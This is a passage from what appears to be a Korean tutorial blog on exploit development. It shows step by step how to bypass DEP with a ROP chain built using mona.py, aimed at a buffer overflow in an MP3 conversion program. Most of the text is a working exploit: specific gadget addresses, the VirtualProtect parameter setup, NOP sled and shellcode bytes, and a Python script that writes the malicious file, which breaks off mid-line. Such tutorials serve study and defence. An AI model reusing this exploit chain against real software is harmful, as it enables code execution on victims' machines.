  이 동작하지 않는다. 조금 분석해 보니 immunity debugger 의 API 명이 소문자로 바뀌었더라.(-.- 왜 그랬을까?)


  다운받은 mona.py 를 immunity debugger 의 하위에 있는 pycommands 폴더에 복사하면 된다.



[ 그림4 ] mona.py





이제 본격적으로 rop 를 통해 dep 를 우회하는 exploit 을 만들어 보자. rop 에 대한 간단한 개념은 이전 글을 통해 알


아 보았으니, 먼저 최종적으로 구성해야 하는 payload 를 다시 한번 확인해 보도록 하자.




# 최종 스택 구성


Low Address

 1

 AAAAAAAAA....

 버퍼를 채우기 위한 쓰레기값

 2

 Stack Pivot

 ROP 시작부분으로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 RETN

 - seh based exploit 의 경우 esp+xx 의 pivot 필요 

 3

 ROP1 for Save Stack Pointer

 현재 스택값을 저장 / 인자값 주소 계산 등에 필요

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 쉘코드 주소 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Addres





# 취약 프로그램 buffer 크기 확인


 - 먼저 버퍼 크기를 확인해 보도록 하자. pattern_create 를 통해 offset 을 확인해 보도록 하자.


    (이전 포스팅에서 여러번 했으니까 생략 -_-! 참고로 mona 에도 pattern_create 와 pattern_offset 기능이 있다. )






 확인 결과 위와 같이 26104 개의 dummy 값 뒤에 EIP 가 "BBBB" 로 덮어씌워 졌음을 확인할 수 있다.


 이제 offset 을 확인하였으니 본격적으로 ROP payload 를 구성해 보자.







# mona 를 활용한 ROP exploit 개발


 - 위에서 설치한 mona 를 활용하여 rop payload 를 구성해 보자.



1) stack pivot

 2

 Stack Pivot

 ROP 시작부분으로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 RETN

 - seh based exploit 의 경우 esp+xx 의 pivot 필요 



  !mona find -s 0xc3   // RETN 명령을 찾는다. 


실행결과는 find.txt 파일에 저장된다. rebase 가 false 이고 aslr 이 false 이며 null 이 들어가지 않은 주소를 선택


하는 것이 좋다. ( -n 옵션을 주면 자동으로 제외된다. ) 현재 SEH 기반이 아닌 일반적인 direct EIP Overwrite 


exploit 이므로, 별도의 stack pivot 이 필요없다. 그냥 RETN 명령으로 다음 ROP 로 이어지도록 해주기만 하면


된다.



*find.txt 결과 


찾아진 주소값 중 하나를 사용하면 된다. 여기서는 0x100102dc 의 주소에 있는 RETN 을 사용할 것이다.


 


 

이제 본격적인 payload 구성을 위해 mona 를 이용해 gadget 목록을 만들자.



 !mona rop -n   // 로드된 모든 모듈에서 가젯들을 추출 



 !mona rop -n -m abc.dll // abc.dll 에서만 가젯 추출



모든 모듈에서 가젯을 만들어 내기보다는 rebase 나 aslr 이 적용되지 않은 모듈 중 선택하여 사용할


모듈에서만 가젯을 추출하는 것이 좋다. 우선 rop.txt 를 살펴보면 엄청나게 많은 가젯들이 들어 있을 것이다. 


rop_suggestion.txt 에는 각 명령을 위한 추천 가젯들이 추려져 있다. 이 목록을 참고해도 된다. 여기서는 


cygwin을 설치한 뒤 grep 명령을 통해 rop.txt 를 검색하는 방식으로 가젯을 찾을 것이다. 윈도우에도 findstr 이란 명


령어가 존재하니, 편한대로 하면 된다. :)



# jump to ROP1

 eip = struct.pack('<L', 0x100102dc) # retn 



현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc) # retn 

 3

 ROP1 for Save Stack Pointer

 현재 스택값을 저장 / 인자값 주소 계산 등에 필요

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 쉘코드 주소 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Address


* 참고

- !mona stackpivot 을 실행하면 esp 를 조정해 주는 가젯들만 찾을 수 있다.







2) ROP1 for Save Stack Pointer


이제 가장 먼저 할 일은 현재 스택 주소를 저장해 두는 것이다. 이는 차후에 VirtualProtect 및 인자값의 주소를


계산할때 사용할 포인터로 쓰인다. 스택주소를 저장하는 쉬운 방법은 "PUSH ESP, POP ~~, RETN" 가젯을


이용하는 것이다.  


$ grep -E "PUSH ESP.+POP E??" rop.txt 


검색 결과 다음과 같은 가젯을 찾을 수 있었다.


 PUSH ESP / AND AL,10 / POP ESI / MOV DWORD PTR DS:[EDX], ECX / RETN 


이 가젯은 현재 스택주소를 스택에 넣은 뒤 ESI 에 POP 한다. 이후 뒷부분은 크게 신경쓰지 않아도 된다.


단, 이 부분이 ESI 를 변형시킨다면 해당 가젯은 쓰면 안된다. 필요한 값이 변경되기 때문이다. 이는 모든 가젯에


해당된다. 가젯을 사용할 때에는 필요한 명령 외에도 여러 명령이 붙어 있을 수도 있다. 이러한 명령들이 기존의


필요한 레지스터의 값들을 변경시키지 않는 가젯을 잘 선별해야 한다. 이 스택 포인터는 차후에 VirtualProtect


주소가 들어있는 스택주소를 가리키는데 쓰이기도 하고, VirtualProtect 의 인자값을 만들어 줄 때에도 쓰인다. 그러므


로 이 주소값은 최소 2개 이상의 레지스터에 저장해 두면 더 수월하게 ROP 를 수행할 수 있다. 물론 하나로도 가능하


겠지만, 그만큼 더 많은 가젯이 필요하다. 당연한 말이지만 payload 가 복잡해서 좋을 것은 없다. 간단하게 가자.


이와 동일한 방식으로 찾아낸 가젯들을 이용해서 ESP 에 저장된 현재 스택주소를 EAX 와 EDI 에 저장했다.


중간중간의 padding 은 이전 가젯의 POP 으로 인해 ESP값이 증가하는 것을 맞춰주기 위함이므로 아무 값이나 


넣어두면 된다. 즉, 하나의 가젯에서는 PUSH 와 POP 의 쌍이 맞아야 하며, POP 이 많다면 그 아래에 padding 


값을 넣어주어야 한다.


# ROP 1 

# [ esp -> eax,edi ]

rop0 = struct.pack('<L',0x1002e892

            # PUSH ESP 

            # AND AL,10 

            # POP ESI 

            # MOV DWORD PTR DS:[EDX],ECX 

            # RETN   

rop0 += struct.pack('<L',0x1002627d

            # MOV EAX,ESI 

            # POP EDI 

            # POP ESI 

            # RETN 

rop0 += padding # for pop edi

rop0 += padding # for pop esi

rop0 += struct.pack('<L',0x100128f7

            # PUSH EAX 

            # POP ED

            # POP ESI 

            # POP EBX 

            # RETN

rop0 += padding # for pop esi

rop0 += padding # for pop ebx

rop_jump = struct.pack('<L',0x10015340

            # ADD ESP,18 

            # RETN / jump rop2 for param1 


위의 ROP 체인에서 필요한 명령어만 추리면 아래와 같다.



 * ROP1 for save stack pointer

PUSH ESP         // 현재 스택주소를 PUSH

POP ESI            // 스택주소를 ESI 에 저장 

MOV EAX, ESI   // ESI 를 EAX에 저장       [ esp -> eax ]

PUSH EAX         // EAX를 PUSH

POP EDI            // 스택주소를 EDI 에 저장 [ esp -> edi ]

ADD ESP,18       // ROP2 로 점프



여기까지 실행하면 아래와 같이 원하는 결과가 수행 되었음을 확인할 수 있다.






현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 RET 값(쉘코드 주소) 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Address



3) VirtualProtect() + Parameters


 VirtualProtect() 함수의 주소와 함수 실행 후 리턴주소, 그리고 함수의 인자값으로 사용할 4개의 인자를 넣어주면 된


 다. 함수 주소는 kernel32.dll base 주소 + 1ad4 이며, 실습환경에서의 주소값은 0x7c801ad4 였다.(PC마다 조금씩 


 다를 수 있다. 실제로 이 주소는 기타 다른 문서의 주소값과 다르다. 아마 정품이 아닌 패치판이라 그런....듯 -_-; )


 파라미터값은 어차피 나중에 ROP 를 통해 동적으로 만들어 줄 것이므로 아무 값이나 넣으면 된다. 단, 마지막 인자값


 의 경우에는 쓰기가 가능한 주소를 넣어 주어야 한다. 다시 한번 VirtualProtect 함수의 인자값을 확인해 보자.


* VirtualProtect()   

 BOOL WINAPI VirtualProtect(

   _In_   LPVOID lpAddress,

   _In_   SIZE_T dwSize,

   _In_   DWORD flNewProtect,

   _Out_  PDWORD lpflOldProtect

 );

 


* Stack 구성

rop_virtual = struct.pack('<L',0x7C801AD4)    # VirtualProtect() Address

rop_ret = struct.pack('<L',0x01010101)

rop_lpaddr = struct.pack('<L',0x42424242)

rop_size = struct.pack('<L',0x43434343)

rop_newprotect = struct.pack('<L',0x44444444)

rop_writable = struct.pack('<L',0x10035005)






현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 RET 값(쉘코드 주소) 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소(쉘코드)

High Address



4) ROP2 for RET(Shellcode)


 ROP2는 VirtualProtect() 함수 실행 후 이어서 실행될 값인 쉘코드 주소를 만들기 위한 것이다. 미리 저장해 두었던 


 스택 포인터 값에 ADD 명령을 수행하여 쉘코드가 존재할 주소값을 만들어 줄 것이다. 가젯의 수와 Nop 의 수를 감


 안하여 Add 값을 정하면 된다. Nop 위로만 떨어지면 되기 때문에 실제 쉘코드보다 앞이기만 하면 된다.



 * ROP2

rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4

rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param1 += padding # for retn 4

rop_param1 += padding # for retn 4

rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param1 += padding 

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN 

rop_param1 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param1 += padding


위의 체인에서 중요한 가젯들을 살펴보자. 이 ROP를 통해서 실행하길 원하는 것은 쉘코드의 주소를 


VirtualProtect() 의 주소 바로 아래에 저장하는 것이다. ( 01010101 값이 들어있는 주소 )



rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4 


이 가젯은 EDI 에 저장되어 있던 스택포인터 값을 ESI 에 저장한다.




rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN  


이 가젯은 EAX에 저장되어 있던 스택 포인터의 값을 0x100 증가 시킨다. 2회 반복하여 + 0x200 이 된다.


0x200 이 더해져서 nop 의 주소를 가리키게 되며, 이 nop 후에는 쉘코드가 존재한다.


 



rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  


이 가젯은 ESI 에 저장된 스택포인터를 증가시켜서 01010101 이 저장된 주소 - 0x10 값을 만든다. -10 주소를 


만드는 이유는 값을 저장하는데 사용할 가젯이 ESI+10 이기 때문이다. 미리 10을 빼주어서 실제 값이 저장될 때


-10+10 이 되어 정확한 위치에 값을 쓰도록 하는 것이다. 조금 헷갈릴 수 있으나 직접 실행해보면 바로 알 수 


있을 것이다. 




rop_param1 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN 


이 가젯으로 EAX에 저장된 쉘코드 주소의 값을 [ESI+10], 즉 01010101 이 저장되어 있던 RET 주소에 쓰게 된다.


가장 중요한 개념이므로 확실히 이해하고 넘어가자. 앞으로도 이 가젯을 이용하여 파라미터값들을 쓰게 된다.







실행해보면 정확히 값을 덮어썼음을 확인할 수 있다.


Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 rop_param1 = struct.pack('<L',0x7631982F)

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77D94115)  

 rop_param1 += padding

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소(쉘코드)

High Address




5) ROP3 for VirtualProtect Parameter1


 위와 같은 방식으로 Parameter1 을 구성해 준다. 단, ESI 값을 4 증가시켜 스택에서 다음 인자값 주소를 가리키도록 

 

 한다. 이외에는 4)와 거의 동일하다. 첫번째 파라미터는 메모리 실행권한을 추가해 줄 주소이며, 이미 저장해둔


 EAX의 스택 포인터 값을 재활용 하면 된다. 



 * ROP3

rop_param2 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param2 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param2 += padding

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param2 += padding




6) ROP4 for VirtualProtect Parameter2


 역시 동일한 방식으로 진행하여 파라미터값 0x300 을 만들어서 값을 써준다. 파라미터1에서 지정해준 값부터 


 이 파라미터2 의 값의 크기만큼 실행권한을 추가해 주게 되므로, 원하는 만큼 값을 크게 주어도 상관없다.


 0x300 이면 Nop 를 포함한 쉘코드가 충분히 들어갈 크기이므로 적당히 0x300 으로 해도 된다.



 * ROP4

rop_param3 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param3 += struct.pack('<L',0x100307A9) # XOR EAX, EAX

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param3 += padding





7) ROP5 for VirtualProtect Parameter3


 위와 동일. 다만 실행 권한을 주어야 하므로 값을 0x40 이 되도록 해준다.


* ROP5

rop_param4 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param4 += struct.pack('<L',0x100307A9) # XOR EAX, EAX

rop_param4 += struct.pack('<L',0x1002dc41) # ADD EAX,40 # POP EBP # RETN  

rop_param4 += padding 

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param4 += padding



여기까지 정상적으로 수행이 되었다면 이제 VirtualProtect 의 인자값은 모두 구성이 되었다. 이제 남은 것은


VirtualProtect() 를 실행하고, 쉘코드의 주소로 점프하여 원하는 쉘코드를 실행하는 것이다.






8) Jump to VirtualProtect()


* Jump to &VirtualProtect()

rop_virtual_jump = struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET

rop_virtual_jump += struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET

rop_virtual_jump += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_virtual_jump += struct.pack('<L',0x73d55858) # PUSH EAX # POP ESP # POP EDI # POP ESI # RETN


스택의 특정 주소로 돌아가는 것은 POP ESP 명령을 통해 수행할 수 있으며, 이 값을 조절하기 위해 이미 저장해 둔


스택포인터 EAX를 활용한다. 즉 PUSH EAX / POP ESP / RETN 명령을 수행하면 결국 EAX에 저장되어 있던 주소로


돌아가게 될 것이다. 이 가젯에 POP 이 2번 더 들어가 있기 때문에 이 명령을 수행하기 전에 SUB EAX,4 를 통해


스택주소값을 맞춰준다. 이제 준비는 다 되었다.




9) Nop + Shellcode


 이 부분은 따로 설명하지 않겠다. 일반적인 0x90 과 쉘코드이다.


* Nop + shellcode

nops = "\x90" * 260 

shellcode ="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe"

shellcode +="\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8"

shellcode +="\xfa\xca\x81\x7c\xff\xd0"






# 최종 Payload


위에서 설명한 가젯들을 연결해 보면 아래와 같다.


Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 rop_param1 = struct.pack('<L',0x7631982F)

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77D94115)  

 rop_param1 += padding

 6

 ROP3 for VirtualProtect Parameter1 

 rop_param2 = struct.pack('<L',0x76a6131e) 

 rop_param2 += struct.pack('<L',0x1002dc4c)

 rop_param2 += padding

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77D94115)

 rop_param2 += padding

 7

 ROP4 for VirtualProtect Parameter2

 rop_param3 = struct.pack('<L',0x76a6131e) 

 rop_param3 += struct.pack('<L',0x100307A9)

 rop_param3 += struct.pack('<L',0x1002dc4c) 

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x1002dc4c)

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x1002dc4c) 

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x77107d1d)  

 rop_param3 += struct.pack('<L',0x77107d1d)

 rop_param3 += struct.pack('<L',0x77107d1d)  

 rop_param3 += struct.pack('<L',0x77107d1d)

 rop_param3 += struct.pack('<L',0x77D94115) 

 rop_param3 += padding

 8

 ROP5 for VirtualProtect Parameter3

 rop_param4 = struct.pack('<L',0x76a6131e) 

 rop_param4 += struct.pack('<L',0x100307A9)

 rop_param4 += struct.pack('<L',0x1002dc41)

 rop_param4 += padding 

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77D94115)

 rop_param4 += padding

 9

 Jump to VirtualProtect()

 rop_virtual_jump = struct.pack('<L',0x76A612F1) 

 rop_virtual_jump += struct.pack('<L',0x76A612F1) 

 rop_virtual_jump += struct.pack('<L',0x77107d1d)  

 rop_virtual_jump += struct.pack('<L',0x73d55858) 

 10

 Nop + Shellcode 

 nops = "\x90" * 260 

 shellcode ="\x55\x8b\xec\x83\xec\x44..."

High Address




이제 이 payload 를 파일로 만드는 코드를 작성하자.



 # rop_rm2mp3.py

import sys

import struct

s = "A"*26104 Virtualprotect = 0x7C801AD4 padding = struct.pack('<L',0x41414141) # ======= stack pivot =======# eip = struct.pack('<L', 0x100102dc) # retn eip += padding # ======== save stack pointer ========== # [ esp -> eax,edi ] rop0 = struct.pack('<L',0x1002e892

# PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN rop0 += struct.pack('<L',0x1002627d

# MOV EAX,ESI # POP EDI # POP ESI # RETN rop0 += padding # for pop edi rop0 += padding # for pop esi rop0 += struct.pack('<L',0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop0 += padding # for pop esi rop0 += padding # for pop ebx rop_jump = struct.pack('<L',0x10015340) # ADD ESP,18 # RETN / jump rop2 for param1 # ======= virtualprotect params ======== # rop_virtual = struct.pack('<L',Virtualprotect) rop_ret = struct.pack('<L',0x01010101) rop_lpaddr = struct.pack('<L',0x42424242) rop_size = struct.pack('<L',0x43434343) rop_newprotect = struct.pack('<L',0x44444444) rop_writable = struct.pack('<L',0x10035005) # ======== make param1 ====== # param1 = return address ( shellcode address ) rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4 rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param1 += padding # for retn 4 rop_param1 += padding # for retn 4 rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param1 += padding rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param1 += padding # ======== make param2 ====== # param2 = lpaddress ( shellcode address ) rop_param2 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param2 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param2 += padding rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # 